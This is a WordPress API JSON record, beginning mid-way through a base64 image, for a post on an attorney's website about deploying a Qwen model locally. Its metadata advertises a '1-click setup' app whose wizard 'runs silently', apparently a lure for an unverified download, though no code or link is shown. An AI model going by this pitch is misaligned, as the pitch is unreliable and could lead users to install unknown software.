MU6iS4lNb9XEo9scQp4B\/1brmPr\/NX++yn\/6z7PtmT7+1OBfPr5yNInSubaFi3jx\/eCIMQLSJTbrb3bA6ROVWtPYf98rUHA35Rh2UUJYMKEgnZ5vmj1y+6GV6Jto\/tOxD\/Q9lk34w4AK1XzBQbAdB268ZgIRz\/77ePuM5lW6PwsQLHpWhrmt1CZ6dp1MLXFATlVhAHY8mIJQYFkXbR++fUVteTFIyCEoXWVxE5\/RGF8gvsj\/BJd4YUkGlRl+loS54LyZ48mVwa\/bDYt6HLuvj\/nXVJPEWhC1l8FAQipS4NMW+IYd5aNqm8ExbLoAFmUT1vQfVNUCyT2xBeu+bAIu7ZPIJINUmR96AWxw23yjBsJ+Lbz4qM8j+fLNQYuby9ntn5o1g8qAp2Y\/BctseemOF96a4lw9Z3nyY3qBDQWo86cnN2cQL81CJCYiNGw7c8Sr7pql+QKeQ2pWPwvoxgJ4uZ0c5H5EQXozihT5\/gz926aJjw9Ar4eURSlQtbUL4JH5BLzVxKDHmPQHRBX\/J483dofPmWy8\/F6Uf0+C+DK8B2EAU4kkiO6KnOua1ICtq9Ejs5vXAzjcdesW5q0kwPozT3P2p9VjkCt3y2AXs8F3RDG++O32zRcg1WezDbX1RT13jwq4aHqmoFT2kti68WPWObpm6nhbVx3uKaTZhWVH5LgWNA8EDs7HUn4W7W3bI5TW8G13HOGh\/EC59KjYJ8Vshz+AG+I011Er2p\/8Q2uuzNWEanT\/7\/AFK+TIiQKoTzQ8Lore1OjlD1XseIct+cmKbiqFPuc6Vsd7ZeQhul+kLKqN\/bdmw6DF6yXUgj7XDDn6YQ0XHL9CA8mJSApbkjPxolyTCBz1UbiwZP1bd\/8Su1J1OVGAsrSbXdEgR\/MtHz16q\/70Tmsx392Ep9sNzCztqPA1W5aQvVrP3c2A8quCMmSKbL6vv5h8TTvSmBGs9vlZZfdxcbHwZbIOzgBp+So\/O17\/HOclWPUvfYEGBZ\/Q6hYzfthIZ8IFmmwhatrDQ+gwxXVqt5sVX9I0jwFf\/Ft96CQiNq+OcnuwnH\/jZx5bBlH36ByRqiw\/aLplyEWpBbLxL3OyFv+nOefoWpi8WT6kgNDaSrITHQxGPogOnEtpkF2EgtcUFd2jh8qeQKnujVVOewh3s8+mOA2S9KzznND7tgf7nPjmumX506MaO8TRX8Ub1TTIFXNXjF9kMMQ7Hq7Hzm+gWsIMK90XrDdW9Sb13b2xp1Qvb\/HqUmwLdH6iQSLQAh\/qUSrsfBHxLta0VwiAOlQWeUZTe0LTxZfUna0LMSKzdb2yxguWkgO0l2utEg5iksbzj84uft\/rnGytC9a5F8j6UfKmdfjaY2yCRdJlnO6BH+kNuEG0nlQwxCq8oU7jl2NEckJ40\/dCAfV9qoco0xxfp5G0f2dH3xIG65fpaSu+fMOzc7KEnbpaS\/+ds9UvSfXcd7CtSM4WhKRuyWKRlR6VeLkUXVo1zXYO66+gwnEeJndQnizMMXCN21CAnzdjDGl63IbGYgtDWH4AByNvQQxZZv0g43PhQt4jaNpn9oFdZWTG8GGnYDnICSIdRdwy\/\/T2WlNLw6iluiO3hc9qfaLdejEiYo3KMj4Bt0x2THBet8Jw\/4wnt+MvDumwRODZ1ewbwZPlG1kBhAxs+b0KyfWRZt+dQU1i8W4\/BVA5oXJKl7V8BwfMF\/pZlRetOZfwNqYLwsIh5r\/eNG4ghJmbIqxnuC8RJHmyYt1Prkd9j7KT\/AWKiGZO98ITaX34azotq5aumi2268s6VpPfhT+eXfjgstjvGO8xlej5GQ8+w8I+zWttsme97\/NhbpHNFMwTV9ZiB29MecHnJJMFnaVCV6QoPD20izhSMOQPofbfOtR4hhv9LfISTQuc3Ge1DezxulJ+nClPvZJ7cnAtK5cfb\/m12jVTsbxb3\/PXs9L3V56gmDhBgkrf2Y8PAwP3HV3mVyLQZdk7xPGTswQ4vEfBZSaiFSCDQR3owwIp\/ug23Z1sbDQozMiXQnPUJyPNGm3iXKcqn1lyKVkDB8wQ9REQKWeY7h4\/H8JMTCsCobTZgzv7dPgwlFFxny46s3VnNhmswsnu\/IXVrJGyVVNh831dS9vuV99nmyzG4yaQ2FC8oI92zicBRNmqxx\/1toa+bhOH1w09+zyeK9b\/GXmNOVPH7eaKHSAwYFQ8aGF9+rcD1BDv6dGkasAh7eTYvY+m1wFsMyB1xarMreW2lmXzasxNvslSytz3x66bEpjqVkugLT\/wF8eAR6uQTO34F9Xe2YOrgTyG4dtNZCgk329CB1\/\/jS8cVJRCqyv+6tuD2vBd9PH9NHUv59H4W4pcdmxggqoOgyWliZOXppzHRbFNIIpmk8X0nS9Zg7FHzNr2ucPYHHOeRC8bWOsf++YpAniNEvNVabdErE0S7oV5DwrXTwcIL0lO21gJRW\/bZEbxxFsx05yPVYrnXW\/0aLU5NpwZ559k9YxMZkXcG7YZFzBB2TUP2sihXoOYP\/jaHUK+c\/dCYX5djBnWDhVDekAd3+sRuPyhsHgn4Q3G0IeZDbfwiZweX+X\/avvBdLxxr09Wd5BOBIdRzBJhFn4JX2vuPfLKuNDrVE8Pm0hoVwLZF5sWJlemORMm4fad\/\/yeUYyej1CNsj3hXc4yTPsSle8gfV+SGs6FdJTKvknXCALmReG4lwOBm+Qd+25gESaO4Z2\/Bc340MJmaOUEZTJ7injguRENMcLC54yJfXwBamvHgij9pZlEbyvcfFvRf+TlHnoA3i1j4lQSv92IEysp\/MXj3cOUSZ10l3fmB0ZX1istvWWxK4znFlPc02oBUE5Mrgfw1+dP0Nel9fZE3OE5i\/N+6izbqNwZeffFuinqIj85sRQtmQazWx8g8gQJdaBFk9R2zpl3D9DXQWxkIAAI4d34tFEAe6QYLQfCOHm05B5vA0gWyCBx9ff5+O9Sffq1GS\/4GOrbB2sl1B0pNjSAa3RSsGnaEd1f956EwT6s\/FODxvi8qqk2x1DQ6dprj50IEV\/OMpAhxKfYTBRK8wKgBP6OSGL8RYE64ofvyvRyY5iQ9J9IBZ2kgLT49wXnA1Akpq7oKkjy9TBy+PQ+9qwiNeIaakEAYR2Z8TTbYW8UCa4AjnGRgpbDYMMRL25NDBlb0XN08uiogBnBpjZMyNBrWiZrZCC96K01dH0IJnIxFk0yN5biL0z9sPow0bcITA3eW9PaMrGEmve6f8Bxsbm8Fi5qjP0ZZW1sf0LvtFogLny4PZeUwzUeMHSUzKZvQxlzGECCyH51EFkAY5Sp5bBZ7aIStCllqUZKB6Ak6VCwaCFs3VSfjpHQMegZYZv\/dwgVi7mcLsl\/YKIX9pXkLjwmcPltZ7ATpkiwlARAFaNK14\/RBrDo8f3cG1X3QGYyrRzJdZCzB0h2XmxEkD2CRoolHIKNL5rlmAqkMqtPQ4plTfb2WgvEFJiyWg9aubNffwOlTz8QTBOEPIR4JjrXhQZnwPDndZXl6g4mLrqHIsd5hCwX6yz8QHQ7IalzvI5SHdfbP\/z\/Zcajr8Sa7tFcQlAw7HfHOBZ\/r+jRVVGTkKtGY8lN28Nq1BtYGs2MdhJRKS0k6gGodIiPkfH3kbb7mBiJkBPsffnc7UzeAc2WwER\/R52A\/zUs\/sdfFSjRY1QzwevqTrPtUFjdWrPiQOC92t5Zajrjj6fUb2S5hUi3\/t3pVCILdkksQQ\/xCbNhzdYH6OatTywZaLf3Fco7\/UlLhgJ19ewb3Qwgq4VeS8l6dkxDpZoIWUXMxolUUcACJ\/omGY3vdDxAUCeqt0BMziqC4LR7p9TyIp\/vCgy872fBY7E54KBFSdogA9Bud4QhybdfgxBXtMBctHlB4lEQmhZqV0\/avZboJ8k7o+FuHAJ+QzPklIizALyU4COzvf17VfJ1lXuKQGuLtPGGzEDvIAi06yr8sX7B34XAXC469F5jKE8y4ZT9U7RS2SmfYdODeyTzzj67hsxZGCH+1gJe\/gJVwOYM4muPQXayGx+mDWT2GqwieSo1RCBfo9bMr9KoP6LkAOUnw0AbJsxJIcF3NUS30LnMJgy5SSS3ba3P4Yz5PP\/61pjdd+1L78qeRMRG4AhG71z1wWd8LeV7Y60wySloaaM\/K6bfJlyvEA2Pcn6tz8mNTb8NpOlbI65j3vB3ExaxsNddwy0TMZKQL+KQ94vP4bCrqoWBw4yw8BLbnB1IUprt0hzzK\/VMTydjmKp7AGTM\/EzXI5gr+ZwJMs+BTLCTwHRLsHn2TmEMuG3lAM1wui+yTQH7n0o4TXqJj+AoMyqCx0+Q+M3hZk8Lw\/QnIix3eU7dfdovDnI+1srvonAFf6hvKW7Vk2C0mCsNpJ6nlkKNt2QUeif2NJavpLEB0xJStK3YZEP4Y1pQN9r5DTPwkAOCtLZn3r5aMoVdPG04PGq+AKlrUQMH11dnGTKuDwm2gbmCHPLVhzNVFBD74unFxnUEj2sL8EXFm2\/0ELn7+hHQCTmb3kqtWA4xO\/odBXdB7MwwavR3aQT2lbe\/R0KLbdioosZ7CMPyzid0INHqYR4A4+0tQ8Solq\/1tbiRnCNVvqdb5s6l65So2+ktcBceBybC7J\/aeTUmjrIlhiDwnS4SYAeNUN6KHmOKf9pDF+RXO6\/7AH9KcMNydsuJENUSqB7OgVo8HnetN3IP5rgkYgGtCCTBUDPIwGReFPJDgPqczmYfyQyPuST2PCYo\/HmDrYtM8UVviz4oDZlHHJ6LWT9XWPcqL57rQtUeR4H4CcLAdIY+GmUtV0+x3t7Y\/bqF2RJXkvvdSFFABVkbaJohbrLdFiZXdkZ1i0v1P6hD825xl79Y4iGXWLRoz4+yLE8BEgG5\/2V1u03bOxuT5TFKAAAAAAwoDN4vPBxwOWDNRE8aBlAplpD0xsSP1QQC7iwOAl9rIvs53LSMUrWsCU4WyOd5STTck6MJ\/16WSZdz\/ZYL3Tklhcw0HKAB0PFhOK2+wuifdzs0ms7iYr9gPOCkX584BaOf0o3d8i0z9JxDqGOHOygH9G7juHEiN067WYj52KgQ+wKtIotqTPr93\/JJZOa6otLZED1NocZNhSQV80uO\/OYrdUAl3IQeq7blVS0vRPHOUAV8Ar72SIqFVu5pmmpNS1KGN9nwBJLVWDsWs7T6hGcCj6nEmA6tDohUngVEAUK25zB3b5um\/p2ba7J5yJ1OKYX+UVhdlOG+vwhY6EsvWV4x0cHibEpAyHRjddSZ6I4yhpK+7b3mUzqAYFukyikUi63is7mmV6pN73NYVW9WqRyZmz5yb5MwHdPXplcfauKX5IMOzMv4G3gsWvfd\/+HAy4BxsxPj2yeOMEc8h4i+A4aDdH4AF2QyM3QgHFJ8lV3xaIxJzL9Db\/fHeq2t\/gmoR3LZLaF5LT6yrYF6GVnWSf1QB9rK\/RysdRE7kvj5pYC3sZTuNw0BFHMpGn4O+qIk\/ccNh8f4BaxUq7nQZJXWD69iPcjdnpHBQAgr0u3ZeYMmwjA1nw7A7W0IFfCW1FFjglIL0YTrDEwiSKuXEetW8o0usw1x\/OFQCNIFuAIbZW51xwkgJKiMfq3m\/HSloUuk9DjKGDLGxtUtUYHu2mA+eGtbo+OApFBtNEuS+9m0tyfZpMX+HZXtxlyBGh68hmGDcsQE5LvJaf+ZeiDaPfquAHfSqW7FcvTO18svIVntRGrMfFlsU6MJxIIFfsQGlaNRty03EMewEaGTexmcTVDn84NLDzmRSelxUjHtjpB86gB\/OQbi87HDYzy4OgueCkHtdoSbapILu6OIG9vL3TNIlanGDfzramkpmo2CFRv9mAgqR0DPOogln1X\/Q0iFnvTeb+7z0qlKgssCgs7AXH2LhM0pJwRLdY5wn2vRzlwf+pTkonp1BkhXp7i\/95I4rH4fIYCIx0EAAAAAAAvXqVMZYcZknyKhE\/W7jXdqxEvwgIKLFh1R4dTc3utOrXWD3tloMpp5f9JC3tKctyE7pR25HtjZM9xYim\/4G7WTDlsVzrugLHBg1dWRSYdeuK2f8kbBD748qNhjmy+XEXKQlg5vJgP7g3N6HP8U6Lk3hg9drpgLb66dIx6YPjP\/OvB782xewMQ0muC8sjLRBddU\/nf0Dmg1eKk3s6nodsxCZCXlAah1AKtDnDeWd4vQpLAYZSqgR2uS6NJhGxmNL6lODsdVT0jl7lMRWMPdL70J4ipYsnC7BRRlqI\/TiU0YigYaON3BrkMvNag+IqbIBxl5aqiPqxJ8ro+icaORnRA3H9JNjiuZGHlB9Pc\/8df2JZtoDiGVxS7kKHt1xeV3UEbg+sZaDdTbQKJBr9\/hQZm462VM1vZriXrJLuOf0opLt5+mdUyb2mdIPc7El8PpDIjD1RBNSiGaOGxh8H2lPkkixYf6frO5gvsZKCg1GOHpAvPfQaN5oK0XlI7569q8nCfArs6JCW5mkjdu2WhI35dH\/REp0YqLquXPVf0l6bzsBfayYsglCrIyEnMCh3HnwYclkxvsgffI7bCymCeAz62OyyVXZU5Z2oSYvb4hq+DPTB7NrpiwEzb\/S2\/W7mMwix8tq3cX+MMqzG\/QmtdGbeiowkjwNuUyOyfAhuryl3gAKcu1dmKRNaToFyxkMLVyqQGbDVz7FM4zDxDZHvvyeg4065CRm9lO5xep1bi0audslB2xEfnrjzFkrasx3zottapV8xq0Ukb1c7IFJeQ2PzPhaa8eraPlxmUDO9PUBKWRCnFouA6juXPeUrX3v\/Gb3uMmWL8d1SW6ZgYrsKUnmV2GkP4gACm+XGAXlixtJAn5IjyT1vIiGtfLet\/ybpNpAFsGD6gq\/hN7lGOct\/KyY\/YHVc8iArDZOSXcYG9bgm6Ny9jmg2e39+yQNjcJripL+ASUArybSwi1UGRbJ7If284MJAnc0KwlbcgRuoUoxTq0+idN7MmB6CkvZASyWNs\/aKf8pDtBtd4YC3eLxSvUd\/mo9AzeMqkoTZjZMXi+BBxRfkrc9pr+ezjdxzsyWA2GzntBMtI7V7t0iyDdChSpuUvN5E8v\/G\/HNRO6DZ+wIlOsGdd6axD5DjtgG5KtH7\/j9ihb1Oe8s1DuT8uK+QRxy1i7sjlGAqw8AE+DVVfSJZusDjsg4wyGUfGCIKCaC0NKjMMk603gACPKDdYN3XeFXhtoOSvDpOtuHQQ+T+mmc\/GGDtt5COZlT5367PwbkVED\/w+Ezbdaj\/GVrH4iTQKLTd4LzCf8t2DpDmW0U4UVrXG8ZZCybQvqckK\/1RtVwGKdfTiGSsiYGCXHXQPqsFUpzJfS492R9ZgtLC8l1EtaWWRzrywYtM5uVNlwSdnDBgkK9Qu+HjQkxgWl\/x4baxF4qxUcT8FWW+pXGCc11XTfIVny6B27DGbQyqau6yhf8WedfT2syvp0IC5WXao1QeQFd0lGNUbBYY5M7lDw+AJmvkuAUJQKX77EuYwYoBkn3mqFkRFZUL5iXWQR\/zLHN6k0ws2F+BuzY45ZuhxtxUMZjNF3PZDQHLJuJe+haZcYF2b4haPDiC4h4neKZdy0eXKmh8PJl6kM378KnBMmFgsexRnNl9IjHK5A3ZyPM3XjtaACAAABoKAACAqVbeWQRAWjEbw0jX7orsrZRFaNTpt8UjWaV00o+axYMc8Wxxt37veDrhzxTN\/WYosGG+xCIUJ6zeH672z47IS6c+65bEauCFkjZIr38t8iUwmsrY8mA2AUXbjHGEEYNyBujOgxs8o1IBAfC\/xOND6Y+7j8qAnd\/aGfNP6QpFOyj3\/rfscle2y\/G2CeQ8r2T3EgKjR9294BJQFtQ4+PhZPS2pFs6eRee\/lRIwlVTCRKrxI3atj6FiIYPbTCBnm8I3LGBoCjwoQVrzCjwtJghKGIH6aqxU8LhfXBugrYsMd5q1Bsr92l3gAxQos+m1OlVTSMH+yaG1uaTsPJvHf2VR\/IeqbTQWNtsR9C9OemSbFv5rUwuDS0nURoktevUj7muzKrUZQww94LtTzCHXo0EfR2ss5bM6AmB1D7+WGE\/CIUcrHFXgcbvAzy61peGe\/ySE79BenlNN0i2FVCfz+XBXYQGB5vfs6qMFLhY2Z8awOnCtPgEst9\/Ni\/GU93anif5RmSHiGMvDFMvp5bIq9fQPkOhW0xVL+E+7IA6ydcEnJgzK4tMJaitNNDsdzwK+yYJS0WMQT8C3AaixphUKG6IEWfFjRIjeeiTL+Zta2eBhIQRmFp7L84Wn6+8BSg7tUOdlzEmkLJqtemYtq1nq4s\/CyFRBakCc5G2ZUoZgKcF+333CXuf\/d6QeXJK71uFle+f6juSncXhChPjsU4hdHVHuWYtBBzA9sGC0tJoNSxaBGCti2AGdrjaY2jfRR17ZybrToPiorPTgrNk\/Y\/H3RjBAvzkhadEqBN1phjqE2YAq57qVk\/Y6QBF2B7fP6YvghfsimO8vhPLW+n9USJI7V3VRaVS3q7OhcfFHQyxaapxjt\/OSFq\/9G8ar6iE5qpM4CHqKvJtCxoKF7I80nvMA2okI\/qU0P+qiLrYtp\/RIj\/2\/zmWtHVBVbbCgTvHkKxCuryrr9SJe1SNquq9Bf0UeR0IanSwWBV7pskLd3Lhi9WyKC+9X98t7ZRgbDNanEQzegV5sJNEVnPaYZ2DEPlMOiCNwRZ3FPvefgemLeQdAhNdwoI150PKGkWwqHCK1g2GryVucyeOkbgV5oiLbS3qMBB4HeIWXjDbxp062Njt7GzV8RJpm1+xEkqbrKbpNcF8irO6ejvVBWkovV4D9JVZes\/3HeVE5kN8S3mlpHzCKheoyD9GpMvdg\/xeBsRQfw4rP7rt93L+yjdKVo29ewiGo62ZRtAnLoAzZ97Z13CmhVxwqCeVq8O+BGdVZw452SH04jRLoFYnQv22ArkS6q86yMdYFx6fcjhVrDwFx+ZOlQpTtba\/9HPXKYUw6QRGRxy88q50SJ8D3772hDuoc2vxTFRuMRoDBoERQ+F2YPoHEcCtGvtPr8rbyS\/EEZ\/\/bXmrAKpgpU5O1whvHtquFmhr0hIxsnvSQ8Y84t8lSi4YkGojtsD+U2sPHZmynEJLJ1ekoSXwSNmkKXb2ktXxmZIB76C5EI5o3czoLpBYeg7RGE9fIVoBVBR661v156D\/SXnZEqhfYdzy6sQwKWNok631uEBbjAp1kSB0hutZlgSdWVWCrVaHrnUwDrIL\/KArnTLiJZ8XfOO1+QZVLPMqolQ9rxveDzDaydy6g7Bz3lEU0zOaHB3H671cNzeGN9ARF0HBniurSxyTerHymJaVhvD\/1rL+8fpP1hQi+Fp+W0SPeDVyDXkUvE1pgZ0qrOmQ25eJmP2oHZbbRHTQkHotsBWh2CDCH2BvbN+pHJ2vdCMiBjC\/2YLewKuHGOyGBFXc501aCAQZbV64dkAxkD5cRWaom7Lkm6pn8kOC0Bg+CUpLqIfrSsSTRYEQoaap\/olhLCt4kgY5f4tINa0mPyBg2X+e4koW\/kZCIbVhh8Ip\/+XlmufbINmpOESBc3BBFl09cmFqf\/a0wcgiaI4CxNig3XPBrnDq7et97rkc\/IE4z2YszaOIZKlZWMYV0voveum+M4AHl6cVz3hCg5m+Y7U3i\/K6fiirvUzoR03ouEa2Z\/ApbojaQohwOdfZxqJTrdv8X1TX4Lqvr7x087BzFTukUFgbIaW3Wwc8H+Wks+8UkkeuGUkndPQZmOqi2nSCR\/V8wxHwD9tY\/wfC0+KK+3rtkAxhlYzEb1zNZY2kOSNNCmE2jUd46e7eG6+HYsM0bWnRClHF8Y1FYtHgS1\/ytuowWUKqpv6IhROm10UMjl3\/2GO0du1zemw7ZJsXYwxnAgNCBsaIn1Z4YcayALFQOo9Xk\/WaZ336qxLaVk6n9x7BGb1qPNDuloJJBh1T7r9k9Um5uqAwwJm96IbW1DOAnNN5ZFeO80TTjfirhSnyasopJEFKA2qqrHiKqQkM3qnMdWW1LlQPcyi+QgkkZLdAkF4pEs6sIoXw5gRIM6qmFdIO5MVcz1TyXalp9B8ITf0oP4n4lgjNlST0evzD6W7plK\/bBtPA9zGguywYsTss\/F8C8sEG0A49vZk5mHRGyZ6d+ERisfFAnIklbAAAA=","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#articleImage"},"datePublished":"2026-07-10T11:52:33-05:00","dateModified":"2026-07-10T11:52:33-05:00","inLanguage":"en-GB","mainEntityOfPage":{"@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#webpage"},"isPartOf":{"@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#webpage"},"articleSection":"Blog"},{"@type":"BreadcrumbList","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en#listItem","position":1,"name":"Home","item":"https:\/\/fabriziogarcia.com\/en","nextItem":{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en\/category\/blog\/#listItem","name":"Blog"}},{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en\/category\/blog\/#listItem","position":2,"name":"Blog","item":"https:\/\/fabriziogarcia.com\/en\/category\/blog\/","nextItem":{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#listItem","name":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners"},"previousItem":{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#listItem","position":3,"name":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners","previousItem":{"@type":"ListItem","@id":"https:\/\/fabriziogarcia.com\/en\/category\/blog\/#listItem","name":"Blog"}}]},{"@type":"Organization","@id":"https:\/\/fabriziogarcia.com\/en\/#organization","name":"Fabrizio Garc\u00eda Bacigalupo","description":"Abogado - Attorney at Law","url":"https:\/\/fabriziogarcia.com\/en\/","telephone":"+593994229331","logo":{"@type":"ImageObject","url":"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#organizationLogo","width":112,"height":112,"caption":"Isotipo de Fabricio Garc\u00eda"},"image":{"@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#organizationLogo"},"sameAs":["https:\/\/www.facebook.com\/fabrizio.gb","https:\/\/www.instagram.com\/fabrizio_gb\/","https:\/\/www.youtube.com\/channel\/UCI5bpNS-B7k07hTZ23RdhHA","https:\/\/www.linkedin.com\/in\/fabriziogb\/"]},{"@type":"Person","@id":"https:\/\/fabriziogarcia.com\/en\/author\/fabrizio\/#author","url":"https:\/\/fabriziogarcia.com\/en\/author\/fabrizio\/","name":"Fabrizio Garcia","image":{"@type":"ImageObject","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#authorImage","url":"https:\/\/fabriziogarcia.com\/wp-content\/litespeed\/avatar\/7a7bcc675ba36c747931bfb8dd486a86.jpg?ver=1784216118","width":96,"height":96,"caption":"Fabrizio Garcia"}},{"@type":"WebPage","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#webpage","url":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/","name":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.","description":"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09","inLanguage":"en-GB","isPartOf":{"@id":"https:\/\/fabriziogarcia.com\/en\/#website"},"breadcrumb":{"@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#breadcrumblist"},"author":{"@id":"https:\/\/fabriziogarcia.com\/en\/author\/fabrizio\/#author"},"creator":{"@id":"https:\/\/fabriziogarcia.com\/en\/author\/fabrizio\/#author"},"datePublished":"2026-07-10T11:52:33-05:00","dateModified":"2026-07-10T11:52:33-05:00"},{"@type":"WebSite","@id":"https:\/\/fabriziogarcia.com\/en\/#website","url":"https:\/\/fabriziogarcia.com\/en\/","name":"Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.","description":"Abogado - Attorney at Law","inLanguage":"en-GB","publisher":{"@id":"https:\/\/fabriziogarcia.com\/en\/#organization"}}]},"og:locale":"en_GB","og:site_name":"Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr. - Abogado - Attorney at Law","og:type":"article","og:title":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.","og:description":"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09","og:url":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/","og:image":"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png","og:image:secure_url":"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png","og:image:width":112,"og:image:height":112,"article:published_time":"2026-07-10T16:52:33+00:00","article:modified_time":"2026-07-10T16:52:33+00:00","article:publisher":"https:\/\/www.facebook.com\/fabrizio.gb","twitter:card":"summary","twitter:title":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.","twitter:description":"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09","twitter:image":"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png"},"aioseo_meta_data":{"post_id":"2678","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"limit_modified_date":false,"created":"2026-07-10 16:54:11","updated":"2026-07-10 16:54:11","ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"brizy_media":[],"_links":{"self":[{"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/posts\/2678","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/comments?post=2678"}],"version-history":[{"count":1,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/posts\/2678\/revisions"}],"predecessor-version":[{"id":2679,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/posts\/2678\/revisions\/2679"}],"wp:attachment":[{"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/media?parent=2678"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/categories?post=2678"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fabriziogarcia.com\/en\/wp-json\/wp\/v2\/tags?post=2678"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}